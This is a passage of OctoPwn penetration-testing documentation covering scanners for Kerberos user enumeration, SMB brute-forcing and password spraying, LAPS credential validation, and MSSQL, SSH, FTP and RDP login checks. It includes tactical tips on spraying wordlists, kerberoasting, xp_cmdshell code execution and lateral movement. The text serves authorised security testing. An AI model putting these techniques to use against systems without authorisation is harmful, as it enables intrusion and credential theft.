`p:<port>` (e.g., `p:22`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:22/tcp`). --- ### Advanced Parameters #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### protocol Specifies the protocol. Fixed to `SSH` for this scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated `sshauth` scan when discovered by other scanners. Pre-populated with `22/TCP, 2222/TCP, 22222/TCP`. #### verifyhost When enabled, the SSH client verifies the server host key. Disabled by default. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / Authentication & login] krb5user Source: https://docs.octopwn.com/plugins/scanners/krb5user.html # KRB5User Enumeration Scanner The **KRB5User Scanner** in OctoPwn performs user enumeration against Kerberos authentication server. This scanner operates similarly to the [kerbrute](https://github.com/ropnop/kerbrute) tool and leverages the Kerberos protocol to enumerate valid usernames within a target domain (realm). By attempting authentication with known or guessed usernames, it identifies accounts that exist in the target environment. Use the `usernamefiles` or `usernames` parameters to identify valid accounts within a Kerberos environment. Valid accounts can be used for further attacks, such as password spraying. !!! tip "What to do with the validated user list" Once you have a confirmed list of valid principals, the [Kerberos client](../clients/kerberos.md) is the natural next stop. From there you can run `asreproast` against accounts that don't require pre-authentication, `kerberoast` for SPN-bearing accounts, request TGTs / TGSs, and exercise S4U / `dmsa` / `cve202233679` flows where applicable — all using the same realm/KDC target you already configured here. --- ## Parameters ### Normal Parameters #### realm Specifies the target Kerberos realm (domain name). #### target Specifies the TID (Target ID) of the Kerberos server. Enter the ID of the Kerberos server from the Targets Window. #### usernamefiles Specifies a file containing a list of usernames for enumeration. Upload the file with usernames into OctoPwn’s `/browserefs/volatile` directory. The file must contain one username per line. #### usernames Allows manual input of a list of usernames for enumeration. Provide usernames as a comma-separated list (e.g., `user1,user2,user3`). --- ### Advanced Parameters #### maxruntime Specifies the maximum runtime for the scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each authentication attempt. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter, do not modify. --- # [Scanners / Authentication & login] smbadmin Source: https://docs.octopwn.com/plugins/scanners/smbadmin.html # SMB Admin Scanner (smbadmin) The **SMB Admin Scanner** in OctoPwn performs SMB login attempts and determines whether the provided account has administrative privileges on the target systems. This scanner is particularly useful for identifying systems that can be used for lateral movement with the gathered credentials. --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. Enter the ID of the credential stored in the Credentials Window. #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:445`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:445/tcp`). --- ### Advanced Parameters #### authtype Specifies the authentication protocol. Available protocols: - `NTLM` - `Kerberos` #### dialect Specifies the SMB connection dialect. Fixed to `SMB2` for this scanner. #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). #### krbrealm Specifies the Kerberos realm to use. Enter the Kerberos realm (domain name) for authentication. #### maxruntime Specifies the maximum runtime for the scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each target. #### workercount Specifies the number of parallel workers for the scan. --- # [Scanners / Authentication & login] smblaps Source: https://docs.octopwn.com/plugins/scanners/smblaps.html # SMBLAPS Scanner The **SMBLAPS Scanner** validates a single **LAPS (Local Administrator Password Solution)** admin user against all hosts in a provided LAPS dump file. This scanner is useful for verifying if dumped LAPS credentials are still valid or identifying the correct local admin username for the target system. This scanner requires a **LAPS dump file** containing hostnames and their corresponding local admin passwords in the format `hostname:password`. ## Use Cases ### Credential Validation - Check if stale LAPS entries are still valid or have been rotated. - Validate whether the provided local admin username matches the dumped LAPS password. ### Stale Credential Detection - Identify whether LAPS passwords in the dump file are outdated or no longer functional. ### Identify Correct Local Admin Username - Use the scanner to test and confirm the correct local administrator username for the specified host. --- ## Parameters ### Normal Parameters #### authtype Specifies the authentication protocol to use (e.g., NTLM). #### domain Defines the domain name for the admin user, if applicable. #### lapsfile Specifies the path to the LAPS dump file containing entries in `hostname:password` format, with one entry per line. #### targets Specifies the list of targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:445`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:445/tcp`). #### username Specifies the local admin username to test against the LAPS dump file. --- ### Advanced Parameters #### maxruntime Sets the maximum runtime for the scan. #### proxy Specifies the proxy ID to use for routing the scan. #### resultsfile Defines the file path for saving scan results. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout in seconds for each target. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter; do not modify. --- # [Scanners / Authentication & login] smbbrute Source: https://docs.octopwn.com/plugins/scanners/smbbrute.html # SMB Brute-Force Scanner (smbbrute) The **SMB Brute-Force Scanner** mounts a credential brute-force or password-spraying campaign against one or more SMB targets using user-supplied username and password lists. The scanner supports **smart throttling** so you can avoid AD account lockouts: a configurable maximum number of attempts per user before sleeping for a configurable interval, and an optional "username-is-password" mode for quick wins. Each successful login is reported as a row containing the target IP, domain, username and password. Successful credentials are automatically registered in the project so they can be reused by other scanners and clients without any manual copy-paste. !!! warning "Use with care on production AD" Brute-forcing in an Active Directory environment can lock out legitimate users when account lockout policies are tight. Always know the current lockout policy first (`net accounts /domain` or LDAP query), keep `maxattempts` below it, and prefer **password spraying** (one password against many users) over true brute-forcing. !!! tip "Targeted spraying" Combine `smbbrute` with a wordlist tailored to the environment (e.g. `Season+Year`, `Company123`, `Welcome1!`) and the company's leaked-password format. This typically yields better results with far fewer attempts than a generic dictionary attack. --- ## Parameters ### Normal Parameters #### usernames List of usernames to try. Either inline values (e.g. `admin,sales,helpdesk`) or paths to text files inside `/browserefs/volatile` (one username per line). Mixing both is supported. #### passwords List of passwords to try. Either inline values (e.g. `Welcome1,Spring2024!`) or paths to text files inside `/browserefs/volatile` (one password per line). Mixing both is supported. Ignored when `usernameispassword` is `True`. #### target ID of the target host (from the targets window). #### domain Domain (NetBIOS or DNS) used during authentication. Leave empty for local accounts / workgroup machines. #### sleep Sleep duration (in seconds) inserted **after** `maxattempts` attempts have been made for a given user. Used together with `maxattempts` to stay below the lockout threshold. #### maxattempts Maximum number of password attempts to make per user before triggering the `sleep` pause. Defaults to `3`. #### usernameispassword When `True`, the scanner skips the `passwords` list entirely and tries each username as its own password. Cheap and fast — surprisingly effective in many environments. --- ### Advanced Parameters #### authtype Specifies the authentication protocol. Available protocols: - `NTLM` - `Kerberos` #### maxruntime Specifies the maximum runtime per host (in seconds). #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. Defaults to `smb_scan_brute_<random>.tsv`. #### showerrors Determines whether per-target errors should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### workercount Specifies the number of parallel workers for the scan. Defaults to `10`. !!! info "Legacy scanner" `smbbrute` predates the unified `ScanParameter` framework and exposes its options via a flat parameter dictionary instead of normal/advanced sections. The behaviour is unchanged; the options are simply rendered in a single list in the UI. --- # [Scanners / Authentication & login] mssqllogin Source: https://docs.octopwn.com/plugins/scanners/mssqllogin.html # MSSQL Login Scanner (mssqllogin) The **MSSQL Login Scanner** validates a credential against one or more Microsoft SQL Server instances (default port 1433). It runs a full TDS login on every target and reports a simple `LOGIN_OK` boolean. Both SQL authentication and Windows authentication (NTLM / Kerberos) are supported — the actual mechanism is determined by the credential type stored in OctoPwn. A successful login is the prerequisite for every other authenticated MSSQL scanner. Once `mssqllogin` confirms a credential is valid for a given server you can immediately follow up with [mssqladmin](mssqladmin.md), [mssqldbinfo](mssqldbinfo.md), [mssqlquery](mssqlquery.md) or [mssqlsensdata](mssqlsensdata.md). !!! tip "Reach SQL servers through SMB pipes" If TDS is firewalled but SMB is open, set the `pipename` parameter (or run [mssqlpipe](mssqlpipe.md) first) to route the SQL connection through an SMB named pipe. !!! tip "Authentication" This scanner uses the same authentication surface as the [MSSQL client](../clients/mssql.md#authentication). Use `PLAIN` for SQL Server logins (`sa`, `dbadmin`, application accounts), and `NTLM` / `KERBEROS` for domain accounts (`CONTOSO\jdoe`). The client doc has the full secret-type tables and a "Picking the right `atype` at a glance" cheat sheet. --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. Enter the ID of the credential stored in the Credentials Window. Both SQL logins (`PASSWORD`) and Windows logins (`PASSWORD`, `NT`, `AES`, certificates, …) work. #### pipename Optional SMB pipe name to tunnel the MSSQL connection through. Leave empty to use a direct TDS connection over TCP. When set, the scanner connects to `\\<target>\IPC$\<pipename>` and speaks TDS over the named pipe. Use this when port 1433 is blocked but SMB is reachable. #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:1433`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:1433/tcp`). --- ### Advanced Parameters #### authtype Specifies the authentication protocol. See the [MSSQL client authentication](../clients/mssql.md#authentication) section for the full breakdown of which secret types each `authtype` accepts. Available protocols: - `PLAIN` — SQL Server logins (`sa`, `dbadmin`, application accounts). - `NTLM` — Windows / domain accounts. - `KERBEROS` — Windows / domain accounts. #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). #### krbrealm Specifies the Kerberos realm to use. #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### protocol Specifies the protocol. Fixed to `MSSQL` for this scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated `mssqllogin` scan when discovered by other scanners. Pre-populated with `1433/TCP`. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / Authentication & login] mssqladmin Source: https://docs.octopwn.com/plugins/scanners/mssqladmin.html # MSSQL Admin Privilege Scanner (mssqladmin) The **MSSQL Admin Privilege Scanner** logs into each target MSSQL server (default port 1433) with the supplied credential and asks SQL Server itself the question "am I sysadmin?". Concretely it executes `SELECT IS_SRVROLEMEMBER('sysadmin')` and reports the boolean result as `IS_ADMIN`. A `True` result means the account is a member of the `sysadmin` fixed server role. That role can: - Execute `xp_cmdshell` for code execution as the SQL service account. - Read and write any database in the instance. - Modify server configuration, including security and audit settings. - Impersonate other logins via `EXECUTE AS LOGIN`. In short: full control over the SQL Server instance and, very often, the host operating system. Use this scanner to quickly identify which SQL servers in scope can be leveraged for code execution or data exfiltration with the credentials you currently hold. !!! tip "Workflow" 1. [mssqllogin](mssqllogin.md) — confirm the credential is valid. 2. **mssqladmin** — find the servers where you are sysadmin. 3. [mssqlquery](mssqlquery.md) — run targeted queries (e.g. `xp_cmdshell` on sysadmin instances). !!! tip "Authentication" This scanner uses the same authentication surface as the [MSSQL client](../clients/mssql.md#authentication). Use `PLAIN` for SQL Server logins (`sa`, `dbadmin`, application accounts), and `NTLM` / `KERBEROS` for domain accounts (`CONTOSO\jdoe`). The client doc has the full secret-type tables and a "Picking the right `atype` at a glance" cheat sheet. --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. Enter the ID of the credential stored in the Credentials Window. #### pipename Optional SMB pipe name to tunnel the MSSQL connection through. Leave empty to use a direct TDS connection over TCP. #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:1433`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:1433/tcp`). --- ### Advanced Parameters #### authtype Specifies the authentication protocol. See the [MSSQL client authentication](../clients/mssql.md#authentication) section for the full breakdown of which secret types each `authtype` accepts. Available protocols: - `PLAIN` — SQL Server logins (`sa`, `dbadmin`, application accounts). - `NTLM` — Windows / domain accounts. - `KERBEROS` — Windows / domain accounts. #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). #### krbrealm Specifies the Kerberos realm to use. #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### protocol Specifies the protocol. Fixed to `MSSQL` for this scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated `mssqladmin` scan when discovered by other scanners. Pre-populated with `1433/TCP`. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / Authentication & login] sshlogin Source: https://docs.octopwn.com/plugins/scanners/sshlogin.html # SSH Login Scanner (sshlogin) The **SSH Login Scanner** validates a credential against one or more SSH servers (default port 22). For every target it performs a full SSH login — using either password or public-key authentication, depending on what the credential carries — and reports a `LOGIN_OK` boolean. A successful login almost always means shell-level access to the host, which typically grants full command execution as the authenticated user. Use `sshlogin` to validate stolen or discovered credentials across many SSH endpoints in one pass, or to verify that service-account keys work on the expected set of servers. !!! info "Supported authentication methods" Only **password** and **public-key** authentication are supported. Other SSH mechanisms (GSSAPI/Kerberos, host-based, certificate, keyboard-interactive, …) are **not** implemented by the OctoPwn SSH client and will be skipped even if the server advertises them via [sshauth](sshauth.md). !!! tip "Authentication" This scanner uses the same authentication surface as the [SSH client](../clients/ssh.md#authentication): only `password` and `publickey` are implemented end-to-end. The `authtype` field below is inherited generic plumbing and has no effect — supply a credential whose secret type is a password or a private key and the right mechanism is selected automatically. !!! tip "Pair with the related SSH scanners" - [sshbanner](sshbanner.md) — software name and version (no auth). - [sshinfo](sshinfo.md) — supported KEX algorithms, ciphers, MACs (no auth). - [sshauth](sshauth.md) — accepted authentication methods (no auth) — useful to know in advance whether your credential type is even supported. --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. Enter the ID of the credential stored in the Credentials Window. Use a credential whose secret type is either a password or an SSH private key — these are the only two SSH authentication mechanisms supported. #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:22`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:22/tcp`). --- ### Advanced Parameters #### authtype Inherited generic authentication-protocol selector (`NTLM` / `Kerberos`). It has no effect for `sshlogin` — the SSH transport only supports password and public-key authentication, and the actual mechanism is chosen from the credential's stored secret type. Leave at the default. #### krbetypes Inherited Kerberos parameter. Has no effect for `sshlogin` because Kerberos/GSSAPI is not a supported SSH authentication method. #### krbrealm Inherited Kerberos parameter. Has no effect for `sshlogin` because Kerberos/GSSAPI is not a supported SSH authentication method. #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### protocol Specifies the protocol. Fixed to `SSH` for this scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated `sshlogin` scan when discovered by other scanners. Pre-populated with `22/TCP, 2222/TCP, 22222/TCP`. #### verifyhost When enabled, the SSH client verifies the server host key. Disabled by default — for credential validation against many unknown servers you usually want to skip host-key checks. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / Authentication & login] ftplogin Source: https://docs.octopwn.com/plugins/scanners/ftplogin.html # FTP Login Scanner (ftplogin) The **FTP Login Scanner** validates a credential against one or more FTP servers (port 21 by default). For every target it performs a full FTP login and reports a simple `LOGIN_OK` boolean, allowing you to quickly map which credentials work where. A successful login confirms the credential is valid for FTP access on that host. From there, the same credential typically grants read or write access to file systems, which can be leveraged for data exfiltration, payload deployment, or harvesting additional credentials embedded in hosted files. !!! tip "Related scanners" - [ftpanon](ftpanon.md) — checks for **anonymous** FTP login (no credentials needed). !!! tip "See also" Once a credential validates, drop into the [FTP client](../clients/ftp.md) for interactive directory listing, upload, download and command work. Note from the [client doc](../clients/ftp.md#authentication): only `PLAIN` (USER/PASS) authentication is implemented and only **passive** mode is supported for the data channel — pure-active networks will not work. --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. Enter the ID of the credential stored in the Credentials Window. #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:21`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:21/tcp`). #### ports Comma-separated list of FTP ports to try. Defaults to `21`. --- ### Advanced Parameters #### authtype Specifies the authentication protocol. Available protocols: - `NTLM` - `Kerberos` For most public FTP servers this is irrelevant — the credential's stored secret type controls the actual authentication. #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). #### krbrealm Specifies the Kerberos realm to use. #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### protocol Specifies the protocol. Fixed to `FTP` for this scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated `ftplogin` scan when discovered by other scanners. Pre-populated with `21/TCP, 2121/TCP`. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / Authentication & login] ftpanon Source: https://docs.octopwn.com/plugins/scanners/ftpanon.html # FTP Anonymous Login Scanner (ftpanon) The **FTP Anonymous Login Scanner** tests every target FTP server (typically port 21) for anonymous login access. It logs in with the username `anonymous` and a dummy email address as the password — no real credential is required. A successful login means the FTP server allows unauthenticated access. Anonymous FTP is a recurrent finding in internal assessments: writable anonymous shares can be used to plant malicious files, while readable ones frequently contain configuration files, database dumps or software packages with embedded credentials. !!! info "No credentials required" The scanner injects a temporary `anonymous / anonftp@octopwn.com` credential into the project automatically, so you do not need to provide one. The injected credential is reused by every probe. !!! tip "Related scanners" - [ftplogin](ftplogin.md) — validates a credential of your choice (instead of `anonymous`). !!! tip "See also" For interactive browsing of the discovered anonymous shares, drop into the [FTP client](../clients/ftp.md) — note from its [authentication](../clients/ftp.md#authentication) section that only `PLAIN` is implemented and only **passive** mode is supported for the data channel. --- ## Parameters ### Normal Parameters #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:21`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:21/tcp`). #### ports Comma-separated list of FTP ports to try. Defaults to `21`. --- ### Advanced Parameters #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### protocol Specifies the protocol. Fixed to `FTP` for this scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated `ftpanon` scan when discovered by other scanners. Pre-populated with `21/TCP, 2121/TCP`. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / Authentication & login] rdplogin Source: https://docs.octopwn.com/plugins/scanners/rdplogin.html # RDP Login Scanner (rdplogin) The **RDP Login Scanner** in OctoPwn tests whether specified user credentials can successfully authenticate to a target system via Remote Desktop Protocol (RDP). This scanner helps identify systems that acquired credentials can log in to via RDP for potential further lateral movement. !!! tip "Authentication" This scanner uses the same authentication surface as the [RDP client](../clients/rdp.md#authentication). Use `PLAIN` for local accounts and standalone Windows logins, `NTLM` / `KERBEROS` for domain accounts, and combine `NTLM` + an NT-hash credential against hosts that allow RestrictedAdmin (often surfaced by [rdpcap](rdpcap.md)). The client doc has the full secret-type / CredSSP breakdown. --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. Enter the ID of the credential stored in the Credentials Window. #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:445`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:445/tcp`). --- ### Advanced Parameters #### authtype Specifies the authentication protocol. See the [RDP client authentication](../clients/rdp.md#authentication) section for the full breakdown of which secret types each `authtype` accepts. Available protocols: - `PLAIN` — local / standalone Windows accounts and any RDP server that accepts cleartext. - `NTLM` — Windows / domain accounts (also the path for NT-hash + RestrictedAdmin). - `KERBEROS` — Windows / domain accounts. #### dialect Specifies the connection dialect. Defines the protocol used for the RDP connection. Fixed to `RDP` for this scanner. #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). #### krbrealm Specifies the Kerberos realm to use. Enter the Kerberos realm (domain name) for authentication. #### maxruntime Specifies the maximum runtime for the scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each target. #### workercount Specifies the number of parallel workers for the scan. --- # [Scanners / RDP] rdpcap Source: https://docs.octopwn.com/plugins/scanners/rdpcap.html # RDP Capabilities Scanner (rdpcap) The **RDP Capabilities Scanner** in OctoPwn enumerates Remote Desktop Protocol (RDP) settings and capabilities on target systems. This scanner identifies supported authentication methods and encryption protocols for RDP connections, such as restrictedadmin mode. This can be useful to find hosts that allow authenticating via hash only, as only hosts with restrictedadmin mode enabled can be used to authenticate via NTLM hash. !!! tip "Authentication" This scanner uses the same authentication surface as the [RDP client](../clients/rdp.md#authentication). Use `PLAIN` for local accounts and standalone Windows logins, `NTLM` / `KERBEROS` for domain accounts, and combine `NTLM` + an NT-hash credential against the RestrictedAdmin-capable hosts this scanner highlights. The client doc has the full secret-type / CredSSP breakdown. --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. Enter the ID of the credential stored in the Credentials Window. #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:445`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:445/tcp`). --- ### Advanced Parameters #### authtype Specifies the authentication protocol. See the [RDP client authentication](../clients/rdp.md#authentication) section for the full breakdown of which secret types each `authtype` accepts. Available protocols: - `PLAIN` — local / standalone Windows accounts and any RDP server that accepts cleartext. - `NTLM` — Windows / domain accounts (also the path for NT-hash + RestrictedAdmin). - `KERBEROS` — Windows / domain accounts. #### dialect Specifies the connection dialect. Defines the protocol used for the RDP connection. Fixed to `RDP` for this scanner. #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). #### krbrealm Specifies the Kerberos realm to use. Enter the Kerberos realm (domain name) for authentication. #### maxruntime Specifies the maximum runtime for the scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each target. #### workercount Specifies the number of parallel workers for the scan. --- # [Scanners / RDP] rdpscreen Source: https://docs.octopwn.com/plugins/scanners/rdpscreen.html # RDP Screen Scanner (rdpscreen) The **RDP Screen Scanner** in OctoPwn logs into a target system via Remote Desktop Protocol (RDP), captures a screenshot of the presented screen, and waits for a specified amount of time for frame data before proceeding to the next target. This scanner is useful for visual reconnaissance of multiple RDP systems. !!! tip "Authentication" This scanner uses the same authentication surface as the [RDP 